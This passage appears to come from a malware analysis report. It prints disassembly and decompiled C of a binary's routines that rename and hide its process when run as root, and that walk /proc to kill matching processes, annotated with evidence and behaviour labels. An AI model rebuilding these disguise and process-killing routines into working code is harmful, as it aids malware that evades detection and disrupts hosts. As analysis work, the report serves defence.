00414a11	4c 89 e7	MOV RDI,R12
00414a14	48 8b b0 e0 0c 00 00	MOV RSI,qword ptr [RAX + 0xce0]
00414a1b	e8 53 87 ff ff	CALL thunk_FUN_0040d152
00414a20	4c 89 e7	MOV RDI,R12
00414a23	e8 f0 85 ff ff	CALL thunk_FUN_0040cf7c
00414a28	89 ef	MOV EDI,EBP
00414a2a	ba 0a 00 00 00	MOV EDX,0xa
00414a2f	48 63 f0	MOVSXD RSI,EAX
00414a32	4c 01 e6	ADD RSI,R12
00414a35	e8 cb fa ff ff	CALL FUN_00414505
00414a3a	4c 89 e7	MOV RDI,R12
00414a3d	e8 26 fd ff ff	CALL FUN_00414768
00414a42	85 c0	TEST EAX,EAX
00414a44	74 ad	JZ LAB_004149f3
00414a46	89 ef	MOV EDI,EBP
00414a48	e8 39 fb ff ff	CALL FUN_00414586
00414a4d	85 c0	TEST EAX,EAX
00414a4f	74 a2	JZ LAB_004149f3
00414a51	eb 14	JMP LAB_00414a67
LAB_00414a53:
00414a53	83 fb 01	CMP EBX,0x1
00414a56	74 0a	JZ LAB_00414a62
00414a58	bf 01 00 00 00	MOV EDI,0x1
00414a5d	e8 24 fb ff ff	CALL FUN_00414586
LAB_00414a62:
00414a62	bd 01 00 00 00	MOV EBP,0x1
LAB_00414a67:
00414a67	48 8b 05 82 9c 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00414a6e	4c 8d 64 24 20	LEA R12,[RSP + 0x20]
00414a73	c6 44 24 20 00	MOV byte ptr [RSP + local_f8],0x0
00414a78	4c 89 e7	MOV RDI,R12
00414a7b	48 8b b0 e0 0c 00 00	MOV RSI,qword ptr [RAX + 0xce0]
00414a82	e8 ec 86 ff ff	CALL thunk_FUN_0040d152
00414a87	4c 89 e7	MOV RDI,R12
00414a8a	e8 89 85 ff ff	CALL thunk_FUN_0040cf7c
00414a8f	89 ef	MOV EDI,EBP
00414a91	ba 0a 00 00 00	MOV EDX,0xa
00414a96	48 63 f0	MOVSXD RSI,EAX
00414a99	4c 01 e6	ADD RSI,R12
00414a9c	e8 64 fa ff ff	CALL FUN_00414505
00414aa1	4c 89 e7	MOV RDI,R12
00414aa4	e8 bf fc ff ff	CALL FUN_00414768
00414aa9	85 c0	TEST EAX,EAX
00414aab	75 0f	JNZ LAB_00414abc
LAB_00414aad:
00414aad	ff 4c 24 0c	DEC dword ptr [RSP + local_10c]
00414ab1	0f 85 65 fe ff ff	JNZ LAB_0041491c
00414ab7	e9 8d 00 00 00	JMP LAB_00414b49
LAB_00414abc:
00414abc	4c 89 e7	MOV RDI,R12
00414abf	e8 a4 fc ff ff	CALL FUN_00414768
00414ac4	85 c0	TEST EAX,EAX
00414ac6	75 12	JNZ LAB_00414ada
LAB_00414ac8:
00414ac8	4c 8d 25 f1 3d 01 00	LEA R12,[DAT_004288c0]
00414acf	45 31 ed	XOR R13D,R13D
00414ad2	41 be 01 00 00 00	MOV R14D,0x1
00414ad8	eb 33	JMP LAB_00414b0d
LAB_00414ada:
00414ada	45 31 c0	XOR R8D,R8D
00414add	31 d2	XOR EDX,EDX
00414adf	b9 00 10 00 00	MOV ECX,0x1000
00414ae4	4c 89 fe	MOV RSI,R15
00414ae7	4c 89 e7	MOV RDI,R12
00414aea	e8 a4 33 00 00	CALL FUN_00417e93
00414aef	85 c0	TEST EAX,EAX
00414af1	75 d5	JNZ LAB_00414ac8
LAB_00414af3:
00414af3	b8 01 00 00 00	MOV EAX,0x1
00414af8	e9 b6 02 00 00	JMP LAB_00414db3
LAB_00414afd:
00414afd	49 83 c4 04	ADD R12,0x4
00414b01	48 8d 05 cc 3d 01 00	LEA RAX,[DAT_004288d4]
00414b08	49 39 c4	CMP R12,RAX
00414b0b	74 22	JZ LAB_00414b2f
LAB_00414b0d:
00414b0d	41 8b 3c 24	MOV EDI,dword ptr [R12]
00414b11	e8 cb f8 ff ff	CALL FUN_004143e1
00414b16	48 89 c2	MOV RDX,RAX
00414b19	48 85 c0	TEST RAX,RAX
00414b1c	74 df	JZ LAB_00414afd
00414b1e	89 de	MOV ESI,EBX
00414b20	89 ef	MOV EDI,EBP
00414b22	e8 76 fc ff ff	CALL FUN_0041479d
00414b27	85 c0	TEST EAX,EAX
00414b29	45 0f 45 ee	CMOVNZ R13D,R14D
00414b2d	eb ce	JMP LAB_00414afd
LAB_00414b2f:
00414b2f	48 8d 15 79 3d 01 00	LEA RDX,[DAT_004288af]
00414b36	89 de	MOV ESI,EBX
00414b38	89 ef	MOV EDI,EBP
00414b3a	e8 5e fc ff ff	CALL FUN_0041479d
00414b3f	44 09 e8	OR EAX,R13D
00414b42	75 af	JNZ LAB_00414af3
00414b44	e9 64 ff ff ff	JMP LAB_00414aad
LAB_00414b49:
00414b49	83 c8 ff	OR EAX,0xffffffff
00414b4c	e9 62 02 00 00	JMP LAB_00414db3
LAB_00414b51:
00414b51	e8 7e 7f 00 00	CALL FUN_0041cad4
00414b56	41 89 c4	MOV R12D,EAX
00414b59	83 f8 01	CMP EAX,0x1
00414b5c	0f 8e 0b fe ff ff	JLE LAB_0041496d
00414b62	39 c3	CMP EBX,EAX
00414b64	0f 84 03 fe ff ff	JZ LAB_0041496d
00414b6a	48 89 ee	MOV RSI,RBP
00414b6d	44 89 e7	MOV EDI,R12D
00414b70	e8 35 fb ff ff	CALL FUN_004146aa
00414b75	85 c0	TEST EAX,EAX
00414b77	0f 84 f0 fd ff ff	JZ LAB_0041496d
00414b7d	8a 84 24 a0 00 00 00	MOV AL,byte ptr [RSP + local_78]
00414b84	84 c0	TEST AL,AL
00414b86	0f 84 e1 fd ff ff	JZ LAB_0041496d
00414b8c	3c 5b	CMP AL,0x5b
00414b8e	0f 84 d1 fd ff ff	JZ LAB_00414965
00414b94	bf 98 01 00 00	MOV EDI,0x198
00414b99	e8 43 f8 ff ff	CALL FUN_004143e1
00414b9e	48 89 ef	MOV RDI,RBP
00414ba1	48 89 c6	MOV RSI,RAX
00414ba4	e8 6b 85 ff ff	CALL FUN_0040d114
00414ba9	48 85 c0	TEST RAX,RAX
00414bac	74 13	JZ LAB_00414bc1
LAB_00414bae:
00414bae	80 bc 24 a0 00 00 00 5b	CMP byte ptr [RSP + local_78],0x5b
00414bb6	0f 85 c7 01 00 00	JNZ LAB_00414d83
00414bbc	e9 a4 fd ff ff	JMP LAB_00414965
LAB_00414bc1:
00414bc1	bf 99 01 00 00	MOV EDI,0x199
00414bc6	e8 16 f8 ff ff	CALL FUN_004143e1
00414bcb	48 89 ef	MOV RDI,RBP
00414bce	48 89 c6	MOV RSI,RAX
00414bd1	e8 3e 85 ff ff	CALL FUN_0040d114
00414bd6	48 85 c0	TEST RAX,RAX
00414bd9	75 d3	JNZ LAB_00414bae
00414bdb	bf 9a 01 00 00	MOV EDI,0x19a
00414be0	e8 fc f7 ff ff	CALL FUN_004143e1
00414be5	48 89 ef	MOV RDI,RBP
00414be8	48 89 c6	MOV RSI,RAX
00414beb	e8 24 85 ff ff	CALL FUN_0040d114
00414bf0	48 85 c0	TEST RAX,RAX
00414bf3	75 b9	JNZ LAB_00414bae
00414bf5	bf 9b 01 00 00	MOV EDI,0x19b
00414bfa	e8 e2 f7 ff ff	CALL FUN_004143e1
00414bff	48 89 ef	MOV RDI,RBP
00414c02	48 89 c6	MOV RSI,RAX
00414c05	e8 0a 85 ff ff	CALL FUN_0040d114
00414c0a	48 85 c0	TEST RAX,RAX
00414c0d	75 9f	JNZ LAB_00414bae
00414c0f	bf 9c 01 00 00	MOV EDI,0x19c
00414c14	e8 c8 f7 ff ff	CALL FUN_004143e1
00414c19	48 89 ef	MOV RDI,RBP
00414c1c	48 89 c6	MOV RSI,RAX
00414c1f	e8 f0 84 ff ff	CALL FUN_0040d114
00414c24	48 85 c0	TEST RAX,RAX
00414c27	75 85	JNZ LAB_00414bae
00414c29	bf 9d 01 00 00	MOV EDI,0x19d
00414c2e	e8 ae f7 ff ff	CALL FUN_004143e1
00414c33	48 89 ef	MOV RDI,RBP
00414c36	48 89 c6	MOV RSI,RAX
00414c39	e8 d6 84 ff ff	CALL FUN_0040d114
00414c3e	48 85 c0	TEST RAX,RAX
00414c41	0f 85 67 ff ff ff	JNZ LAB_00414bae
00414c47	bf 97 01 00 00	MOV EDI,0x197
00414c4c	e8 90 f7 ff ff	CALL FUN_004143e1
00414c51	48 89 c6	MOV RSI,RAX
00414c54	48 85 c0	TEST RAX,RAX
00414c57	74 10	JZ LAB_00414c69
00414c59	48 89 ef	MOV RDI,RBP
00414c5c	e8 ff 81 00 00	CALL FUN_0041ce60
00414c61	85 c0	TEST EAX,EAX
00414c63	0f 84 45 ff ff ff	JZ LAB_00414bae
LAB_00414c69:
00414c69	bf 9e 01 00 00	MOV EDI,0x19e
00414c6e	e8 6e f7 ff ff	CALL FUN_004143e1
00414c73	49 89 c6	MOV R14,RAX
00414c76	48 85 c0	TEST RAX,RAX
00414c79	74 13	JZ LAB_00414c8e
00414c7b	48 89 c6	MOV RSI,RAX
00414c7e	48 89 ef	MOV RDI,RBP
00414c81	e8 da 81 00 00	CALL FUN_0041ce60
00414c86	85 c0	TEST EAX,EAX
00414c88	0f 84 20 ff ff ff	JZ LAB_00414bae
LAB_00414c8e:
00414c8e	bf 9f 01 00 00	MOV EDI,0x19f
00414c93	e8 49 f7 ff ff	CALL FUN_004143e1
00414c98	48 89 c6	MOV RSI,RAX
00414c9b	48 85 c0	TEST RAX,RAX
00414c9e	74 10	JZ LAB_00414cb0
00414ca0	48 89 ef	MOV RDI,RBP
00414ca3	e8 b8 81 00 00	CALL FUN_0041ce60
00414ca8	85 c0	TEST EAX,EAX
00414caa	0f 84 fe fe ff ff	JZ LAB_00414bae
LAB_00414cb0:
00414cb0	bf a0 01 00 00	MOV EDI,0x1a0
00414cb5	e8 27 f7 ff ff	CALL FUN_004143e1
00414cba	48 89 c6	MOV RSI,RAX
00414cbd	48 85 c0	TEST RAX,RAX
00414cc0	74 10	JZ LAB_00414cd2
00414cc2	48 89 ef	MOV RDI,RBP
00414cc5	e8 96 81 00 00	CALL FUN_0041ce60
00414cca	85 c0	TEST EAX,EAX
00414ccc	0f 84 dc fe ff ff	JZ LAB_00414bae
LAB_00414cd2:
00414cd2	bf a1 01 00 00	MOV EDI,0x1a1
00414cd7	e8 05 f7 ff ff	CALL FUN_004143e1
00414cdc	48 89 c6	MOV RSI,RAX
00414cdf	48 85 c0	TEST RAX,RAX
00414ce2	74 10	JZ LAB_00414cf4
00414ce4	48 89 ef	MOV RDI,RBP
00414ce7	e8 74 81 00 00	CALL FUN_0041ce60
00414cec	85 c0	TEST EAX,EAX
00414cee	0f 84 ba fe ff ff	JZ LAB_00414bae
LAB_00414cf4:
00414cf4	bf a2 01 00 00	MOV EDI,0x1a2
00414cf9	e8 e3 f6 ff ff	CALL FUN_004143e1
00414cfe	48 89 c6	MOV RSI,RAX
00414d01	48 85 c0	TEST RAX,RAX
00414d04	74 10	JZ LAB_00414d16
00414d06	48 89 ef	MOV RDI,RBP
00414d09	e8 52 81 00 00	CALL FUN_0041ce60
00414d0e	85 c0	TEST EAX,EAX
00414d10	0f 84 98 fe ff ff	JZ LAB_00414bae
LAB_00414d16:
00414d16	4c 89 f6	MOV RSI,R14
00414d19	48 89 ef	MOV RDI,RBP
00414d1c	e8 f3 83 ff ff	CALL FUN_0040d114
00414d21	48 85 c0	TEST RAX,RAX
00414d24	0f 85 84 fe ff ff	JNZ LAB_00414bae
00414d2a	bf 9f 01 00 00	MOV EDI,0x19f
00414d2f	e8 ad f6 ff ff	CALL FUN_004143e1
00414d34	48 89 ef	MOV RDI,RBP
00414d37	48 89 c6	MOV RSI,RAX
00414d3a	e8 d5 83 ff ff	CALL FUN_0040d114
00414d3f	48 85 c0	TEST RAX,RAX
00414d42	0f 85 66 fe ff ff	JNZ LAB_00414bae
00414d48	bf a3 01 00 00	MOV EDI,0x1a3
00414d4d	e8 8f f6 ff ff	CALL FUN_004143e1
00414d52	48 89 ef	MOV RDI,RBP
00414d55	48 89 c6	MOV RSI,RAX
00414d58	e8 b7 83 ff ff	CALL FUN_0040d114
00414d5d	48 85 c0	TEST RAX,RAX
00414d60	0f 85 48 fe ff ff	JNZ LAB_00414bae
00414d66	48 8d 35 3f 3b 01 00	LEA RSI,[DAT_004288ac]
00414d6d	48 89 ef	MOV RDI,RBP
00414d70	e8 cb 87 00 00	CALL FUN_0041d540
00414d75	48 85 c0	TEST RAX,RAX
00414d78	0f 85 30 fe ff ff	JNZ LAB_00414bae
00414d7e	e9 e2 fb ff ff	JMP LAB_00414965
LAB_00414d83:
00414d83	44 89 e7	MOV EDI,R12D
00414d86	e8 fb f7 ff ff	CALL FUN_00414586
00414d8b	85 c0	TEST EAX,EAX
00414d8d	0f 84 d2 fb ff ff	JZ LAB_00414965
00414d93	48 63 05 86 a3 21 00	MOVSXD RAX,dword ptr [DAT_0062f120]
00414d9a	48 8d 0d 9f a3 21 00	LEA RCX,[DAT_0062f140]
00414da1	8d 50 01	LEA EDX,[RAX + 0x1]
00414da4	44 89 24 81	MOV dword ptr [RCX + RAX*0x4],R12D
00414da8	89 15 72 a3 21 00	MOV dword ptr [DAT_0062f120],EDX
00414dae	e9 b2 fb ff ff	JMP LAB_00414965
LAB_00414db3:
00414db3	48 81 c4 e8 00 00 00	ADD RSP,0xe8
00414dba	5b	POP RBX
00414dbb	5d	POP RBP
00414dbc	41 5c	POP R12
00414dbe	41 5d	POP R13
00414dc0	41 5e	POP R14
00414dc2	41 5f	POP R15
00414dc4	c3	RET

as root, sets non-dumpable and a random…

0x414dca601 bytes

undefined FUN_00414dca()

as root, sets non-dumpable and a random store process name

Cited as: E11
Behaviours: B3
Called from: FUN_004001d0, FUN_004163d6, FUN_00417403
Calls: FUN_0040caad, FUN_004143e1, FUN_00414417, FUN_00414442, FUN_004146aa, FUN_00414879, FUN_00417dc5, FUN_00417ea8, FUN_00417f10, thunk_FUN_004183e7, FUN_0041c0d4, FUN_0041cea0, FUN_0041cf00, FUN_0041d050, FUN_0041db41, FUN_0041dc31, FUN_0041dc97, FUN_0041ddd5

Decompiled C · 111 lines

undefined8 FUN_00414dca(undefined4 param_1)

{
  char cVar1;
  int iVar2;
  uint uVar3;
  undefined4 uVar4;
  undefined8 *puVar5;
  char *pcVar6;
  long lVar7;
  undefined8 uVar8;
  ulong uVar9;
  undefined1 *puVar10;
  char *pcVar11;
  byte bVar12;
  char local_28 [16];
  
  bVar12 = 0;
  pcVar6 = local_28;
  iVar2 = FUN_0041dc31();
  if (iVar2 != 0) {
    return 0;
  }
  FUN_00417ea8(4,0,0,0,0);
  FUN_0041c0d4(5,1);
  local_28[0] = '\0';
  if (DAT_0062e6f0 == 0) {
LAB_00414e16:
    local_28[0] = '\0';
    iVar2 = FUN_00417ea8(0x10,local_28,0,0,0);
    if ((iVar2 != 0) || (FUN_00414417(local_28), local_28[0] == '\0')) {
      uVar4 = FUN_0041dc97();
      iVar2 = FUN_004146aa(uVar4,local_28);
      if (iVar2 == 0) {
        if (((DAT_0062e6f0 == 0) || (*(undefined1 **)(DAT_0062e6f0 + 0xe60) == (undefined1 *)0x0))
           || (uVar3 = *(uint *)(DAT_0062e6f0 + 0xe68), (int)uVar3 < 1)) {
          lVar7 = FUN_004143e1(0x197);
          if (lVar7 != 0) {
            FUN_0041d050(local_28,lVar7,0xf);
            local_28[0xf] = 0;
          }
        }
        else {
          if (0xf < (int)uVar3) {
            uVar3 = 0xf;
          }
          puVar10 = *(undefined1 **)(DAT_0062e6f0 + 0xe60);
          pcVar11 = local_28;
          for (uVar9 = (ulong)uVar3; uVar9 != 0; uVar9 = uVar9 - 1) {
            *pcVar11 = *puVar10;
            puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
            pcVar11 = pcVar11 + (ulong)bVar12 * -2 + 1;
          }
          local_28[(int)uVar3] = '\0';
        }
      }
    }
  }
  else {
    uVar3 = FUN_0040caad();
    puVar5 = (undefined8 *)(((ulong)(uVar3 & 7) + 0xe7) * 0x10 + DAT_0062e6f0);
    puVar10 = (undefined1 *)*puVar5;
    if ((puVar10 == (undefined1 *)0x0) || (uVar3 = *(uint *)(puVar5 + 1), (int)uVar3 < 1))
    goto LAB_00414e16;
    if (0xf < (int)uVar3) {
      uVar3 = 0xf;
    }
    pcVar11 = local_28;
    for (uVar9 = (ulong)uVar3; uVar9 != 0; uVar9 = uVar9 - 1) {
      *pcVar11 = *puVar10;
      puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
      pcVar11 = pcVar11 + (ulong)bVar12 * -2 + 1;
    }
    local_28[(int)uVar3] = '\0';
    FUN_00414417(local_28);
    if (local_28[0] == '\0') goto LAB_00414e16;
  }
  for (; (cVar1 = *pcVar6, cVar1 != '\0' && (local_28 + 0xf != pcVar6)); pcVar6 = pcVar6 + 1) {
    if ((cVar1 == '/') || (cVar1 == ' ')) {
      *pcVar6 = '_';
    }
  }
  local_28[0xf] = 0;
  if (local_28[0] == '.') {
    local_28[0] = '_';
  }
  else if ((local_28[0] == '\0') &&
          ((lVar7 = FUN_004143e1(0x197), lVar7 == 0 ||
           (FUN_0041d050(local_28,lVar7,0xf), local_28[0] == '\0')))) goto LAB_00414fc3;
  FUN_00417ea8(0xf,local_28,0,0,0);
  lVar7 = FUN_004143e1(0x161);
  if ((lVar7 != 0) && (iVar2 = FUN_00417dc5(lVar7,0x201), -1 < iVar2)) {
    uVar8 = FUN_0041cf00(local_28);
    FUN_0041ddd5(iVar2,local_28,uVar8);
    FUN_0041db41(iVar2);
  }
LAB_00414fc3:
  if (DAT_0062fe20 != 0) {
    thunk_FUN_004183e7();
  }
  lVar7 = FUN_0041cf00(local_28);
  DAT_0062fe20 = FUN_00417f10(1,lVar7 + 1);
  if (DAT_0062fe20 != 0) {
    FUN_0041cea0(DAT_0062fe20,local_28);
  }
  FUN_00414442();
  uVar8 = FUN_00414879(param_1);
  return uVar8;
}

Assembly · 179 instructions, 1 annotated, 1 cited

Address	Bytes	Instruction	Comment
00414dca	41 55	PUSH R13	; E11
00414dcc	41 54	PUSH R12
00414dce	41 89 fc	MOV R12D,EDI
00414dd1	55	PUSH RBP
00414dd2	48 83 ec 10	SUB RSP,0x10
00414dd6	e8 56 8e 00 00	CALL FUN_0041dc31
00414ddb	85 c0	TEST EAX,EAX
00414ddd	0f 85 34 02 00 00	JNZ LAB_00415017
00414de3	45 31 c0	XOR R8D,R8D
00414de6	31 c9	XOR ECX,ECX
00414de8	31 d2	XOR EDX,EDX
00414dea	31 f6	XOR ESI,ESI
00414dec	bf 04 00 00 00	MOV EDI,0x4
00414df1	48 89 e5	MOV RBP,RSP
00414df4	e8 af 30 00 00	CALL FUN_00417ea8
00414df9	be 01 00 00 00	MOV ESI,0x1
00414dfe	bf 05 00 00 00	MOV EDI,0x5
00414e03	e8 cc 72 00 00	CALL FUN_0041c0d4
00414e08	48 83 3d e0 98 21 00 00	CMP qword ptr [DAT_0062e6f0],0x0
00414e10	c6 04 24 00	MOV byte ptr [RSP],0x0
00414e14	75 20	JNZ LAB_00414e36
LAB_00414e16:
00414e16	45 31 c0	XOR R8D,R8D
00414e19	31 c9	XOR ECX,ECX
00414e1b	31 d2	XOR EDX,EDX
00414e1d	31 c0	XOR EAX,EAX
00414e1f	48 89 ee	MOV RSI,RBP
00414e22	bf 10 00 00 00	MOV EDI,0x10
00414e27	c6 04 24 00	MOV byte ptr [RSP],0x0
00414e2b	e8 78 30 00 00	CALL FUN_00417ea8
00414e30	85 c0	TEST EAX,EAX
00414e32	74 55	JZ LAB_00414e89
00414e34	eb 61	JMP LAB_00414e97
LAB_00414e36:
00414e36	e8 72 7c ff ff	CALL FUN_0040caad
00414e3b	83 e0 07	AND EAX,0x7
00414e3e	48 05 e7 00 00 00	ADD RAX,0xe7
00414e44	48 c1 e0 04	SHL RAX,0x4
00414e48	48 03 05 a1 98 21 00	ADD RAX,qword ptr [DAT_0062e6f0]
00414e4f	48 8b 30	MOV RSI,qword ptr [RAX]
00414e52	48 85 f6	TEST RSI,RSI
00414e55	74 bf	JZ LAB_00414e16
00414e57	8b 48 08	MOV ECX,dword ptr [RAX + 0x8]
00414e5a	85 c9	TEST ECX,ECX
00414e5c	7e b8	JLE LAB_00414e16
00414e5e	b8 0f 00 00 00	MOV EAX,0xf
00414e63	48 89 ef	MOV RDI,RBP
00414e66	39 c1	CMP ECX,EAX
00414e68	0f 4f c8	CMOVG ECX,EAX
00414e6b	48 63 c1	MOVSXD RAX,ECX
00414e6e	89 c9	MOV ECX,ECX
00414e70	f3 a4	MOVSB.REP RDI,RSI
00414e72	48 89 ef	MOV RDI,RBP
00414e75	c6 04 04 00	MOV byte ptr [RSP + RAX*0x1],0x0
00414e79	e8 99 f5 ff ff	CALL FUN_00414417
00414e7e	80 3c 24 00	CMP byte ptr [RSP],0x0
00414e82	74 92	JZ LAB_00414e16
00414e84	e9 81 00 00 00	JMP LAB_00414f0a
LAB_00414e89:
00414e89	48 89 ef	MOV RDI,RBP
00414e8c	e8 86 f5 ff ff	CALL FUN_00414417
00414e91	80 3c 24 00	CMP byte ptr [RSP],0x0
00414e95	75 73	JNZ LAB_00414f0a
LAB_00414e97:
00414e97	e8 fb 8d 00 00	CALL FUN_0041dc97
00414e9c	48 89 ee	MOV RSI,RBP
00414e9f	89 c7	MOV EDI,EAX
00414ea1	e8 04 f8 ff ff	CALL FUN_004146aa
00414ea6	85 c0	TEST EAX,EAX
00414ea8	75 60	JNZ LAB_00414f0a
00414eaa	48 8b 05 3f 98 21 00	MOV RAX,qword ptr [DAT_0062e6f0]
00414eb1	48 85 c0	TEST RAX,RAX
00414eb4	74 30	JZ LAB_00414ee6
00414eb6	48 8b b0 60 0e 00 00	MOV RSI,qword ptr [RAX + 0xe60]
00414ebd	48 85 f6	TEST RSI,RSI
00414ec0	74 24	JZ LAB_00414ee6
00414ec2	8b 88 68 0e 00 00	MOV ECX,dword ptr [RAX + 0xe68]
00414ec8	85 c9	TEST ECX,ECX
00414eca	7e 1a	JLE LAB_00414ee6
00414ecc	b8 0f 00 00 00	MOV EAX,0xf
00414ed1	48 89 ef	MOV RDI,RBP
00414ed4	39 c1	CMP ECX,EAX
00414ed6	0f 4f c8	CMOVG ECX,EAX
00414ed9	48 63 c1	MOVSXD RAX,ECX
00414edc	89 c9	MOV ECX,ECX
00414ede	f3 a4	MOVSB.REP RDI,RSI
00414ee0	c6 04 04 00	MOV byte ptr [RSP + RAX*0x1],0x0
00414ee4	eb 24	JMP LAB_00414f0a
LAB_00414ee6:
00414ee6	bf 97 01 00 00	MOV EDI,0x197
00414eeb	e8 f1 f4 ff ff	CALL FUN_004143e1
00414ef0	48 89 c6	MOV RSI,RAX
00414ef3	48 85 c0	TEST RAX,RAX
00414ef6	74 12	JZ LAB_00414f0a
00414ef8	ba 0f 00 00 00	MOV EDX,0xf
00414efd	48 89 ef	MOV RDI,RBP
00414f00	e8 4b 81 00 00	CALL FUN_0041d050
00414f05	c6 44 24 0f 00	MOV byte ptr [RSP + local_19],0x0
LAB_00414f0a:
00414f0a	48 8d 4c 24 0f	LEA RCX,[RSP + 0xf]
00414f0f	48 89 e8	MOV RAX,RBP
LAB_00414f12:
00414f12	8a 10	MOV DL,byte ptr [RAX]
00414f14	84 d2	TEST DL,DL
00414f16	74 17	JZ LAB_00414f2f
00414f18	48 39 c1	CMP RCX,RAX
00414f1b	74 12	JZ LAB_00414f2f
00414f1d	80 fa 2f	CMP DL,0x2f
00414f20	74 05	JZ LAB_00414f27
00414f22	80 fa 20	CMP DL,0x20
00414f25	75 03	JNZ LAB_00414f2a
LAB_00414f27:
00414f27	c6 00 5f	MOV byte ptr [RAX],0x5f
LAB_00414f2a:
00414f2a	48 ff c0	INC RAX
00414f2d	eb e3	JMP LAB_00414f12
LAB_00414f2f:
00414f2f	8a 04 24	MOV AL,byte ptr [RSP]
00414f32	c6 44 24 0f 00	MOV byte ptr [RSP + local_19],0x0
00414f37	3c 2e	CMP AL,0x2e
00414f39	75 06	JNZ LAB_00414f41
00414f3b	c6 04 24 5f	MOV byte ptr [RSP],0x5f
00414f3f	eb 29	JMP LAB_00414f6a
LAB_00414f41:
00414f41	84 c0	TEST AL,AL
00414f43	75 25	JNZ LAB_00414f6a
00414f45	bf 97 01 00 00	MOV EDI,0x197
00414f4a	e8 92 f4 ff ff	CALL FUN_004143e1
00414f4f	48 89 c6	MOV RSI,RAX
00414f52	48 85 c0	TEST RAX,RAX
00414f55	74 6c	JZ LAB_00414fc3
00414f57	ba 0f 00 00 00	MOV EDX,0xf
00414f5c	48 89 ef	MOV RDI,RBP
00414f5f	e8 ec 80 00 00	CALL FUN_0041d050
00414f64	80 3c 24 00	CMP byte ptr [RSP],0x0
00414f68	74 59	JZ LAB_00414fc3
LAB_00414f6a:
00414f6a	31 d2	XOR EDX,EDX
00414f6c	bf 0f 00 00 00	MOV EDI,0xf
00414f71	45 31 c0	XOR R8D,R8D
00414f74	31 c9	XOR ECX,ECX
00414f76	48 89 ee	MOV RSI,RBP
00414f79	31 c0	XOR EAX,EAX
00414f7b	e8 28 2f 00 00	CALL FUN_00417ea8
00414f80	bf 61 01 00 00	MOV EDI,0x161
00414f85	e8 57 f4 ff ff	CALL FUN_004143e1
00414f8a	48 89 c7	MOV RDI,RAX
00414f8d	48 85 c0	TEST RAX,RAX
00414f90	74 31	JZ LAB_00414fc3
00414f92	be 01 02 00 00	MOV ESI,0x201
00414f97	31 c0	XOR EAX,EAX
00414f99	e8 27 2e 00 00	CALL FUN_00417dc5
00414f9e	41 89 c5	MOV R13D,EAX
00414fa1	85 c0	TEST EAX,EAX
00414fa3	78 1e	JS LAB_00414fc3
00414fa5	48 89 ef	MOV RDI,RBP
00414fa8	e8 53 7f 00 00	CALL FUN_0041cf00
00414fad	44 89 ef	MOV EDI,R13D
00414fb0	48 89 ee	MOV RSI,RBP
00414fb3	48 89 c2	MOV RDX,RAX
00414fb6	e8 1a 8e 00 00	CALL FUN_0041ddd5
00414fbb	44 89 ef	MOV EDI,R13D
00414fbe	e8 7e 8b 00 00	CALL FUN_0041db41
LAB_00414fc3:
00414fc3	48 8b 3d 56 ae 21 00	MOV RDI,qword ptr [DAT_0062fe20]
00414fca	48 85 ff	TEST RDI,RDI
00414fcd	74 05	JZ LAB_00414fd4
00414fcf	e8 2c 30 00 00	CALL thunk_FUN_004183e7
LAB_00414fd4:
00414fd4	48 89 ef	MOV RDI,RBP
00414fd7	e8 24 7f 00 00	CALL FUN_0041cf00
00414fdc	bf 01 00 00 00	MOV EDI,0x1
00414fe1	48 8d 70 01	LEA RSI,[RAX + 0x1]
00414fe5	e8 26 2f 00 00	CALL FUN_00417f10
00414fea	48 89 05 2f ae 21 00	MOV qword ptr [DAT_0062fe20],RAX
00414ff1	48 89 c7	MOV RDI,RAX
00414ff4	48 85 c0	TEST RAX,RAX
00414ff7	74 08	JZ LAB_00415001
00414ff9	48 89 ee	MOV RSI,RBP
00414ffc	e8 9f 7e 00 00	CALL FUN_0041cea0
LAB_00415001:
00415001	e8 3c f4 ff ff	CALL FUN_00414442
00415006	48 83 c4 10	ADD RSP,0x10
0041500a	44 89 e7	MOV EDI,R12D
0041500d	5d	POP RBP
0041500e	41 5c	POP R12
00415010	41 5d	POP R13
00415012	e9 62 f8 ff ff	JMP FUN_00414879
LAB_00415017:
00415017	48 83 c4 10	ADD RSP,0x10
0041501b	31 c0	XOR EAX,EAX
0041501d	5d	POP RBP
0041501e	41 5c	POP R12
00415020	41 5d	POP R13
00415022	c3	RET

/proc walker that kills matching…

0x415fc6723 bytes

undefined FUN_00415fc6()

/proc walker that kills matching processes (syscall profile)

Cited as: E19
Behaviours: B5, B10
Called from: FUN_004163d6
Calls: FUN_0040d07f, FUN_00415059, FUN_00415089, FUN_0041509f, FUN_004150c7, FUN_00415245, FUN_00415435, FUN_004155be, FUN_004157e1, FUN_00415980, FUN_004159c3, FUN_00415a81, FUN_00415c41, FUN_00415e18, FUN_00415e25, FUN_004177dd, FUN_00417843, FUN_0041c083

Decompiled C · 79 lines

void FUN_00415fc6(undefined8 param_1)

{
  char cVar1;
  uint uVar2;
  int iVar3;
  long lVar4;
  long lVar5;
  int iVar6;
  undefined1 auStack_5038 [4096];
  uint auStack_4038 [4098];
  
  iVar6 = 0;
  FUN_00417843();
  while (lVar4 = FUN_004177dd(param_1), lVar4 != 0) {
    if ((byte)(*(char *)(lVar4 + 0x13) - 0x30U) < 10) {
      lVar4 = lVar4 + 0x13;
      uVar2 = FUN_0040d07f(lVar4);
      if ((1 < (int)uVar2) &&
         ((0x3ffffe < uVar2 - 1 ||
          (((byte)(&DAT_00639e60)[(int)uVar2 >> 3] >> (uVar2 & 7) & 1) == 0)))) {
        cVar1 = FUN_004157e1(uVar2);
        if ((((cVar1 == '\0') &&
             ((((DAT_0062ba30 != uVar2 || ((int)DAT_0062ba30 < 1)) &&
               ((DAT_0062ba34 != uVar2 || ((int)DAT_0062ba34 < 1)))) &&
              (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)))) &&
            ((((((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
                 (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)) ||
                (cVar1 = FUN_00415435(auStack_5038), cVar1 != '\0')) ||
               ((lVar5 = FUN_00415059(auStack_5038,0x1ac), lVar5 != 0 ||
                (lVar5 = FUN_00415059(auStack_5038,0x1ad), lVar5 != 0)))) ||
              (iVar3 = FUN_00415a81(lVar4), iVar3 != 0)) &&
             (cVar1 = FUN_00415980(uVar2), cVar1 == '\0')))) &&
           (((((cVar1 = FUN_004159c3(lVar4), cVar1 == '\0' &&
               (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)) &&
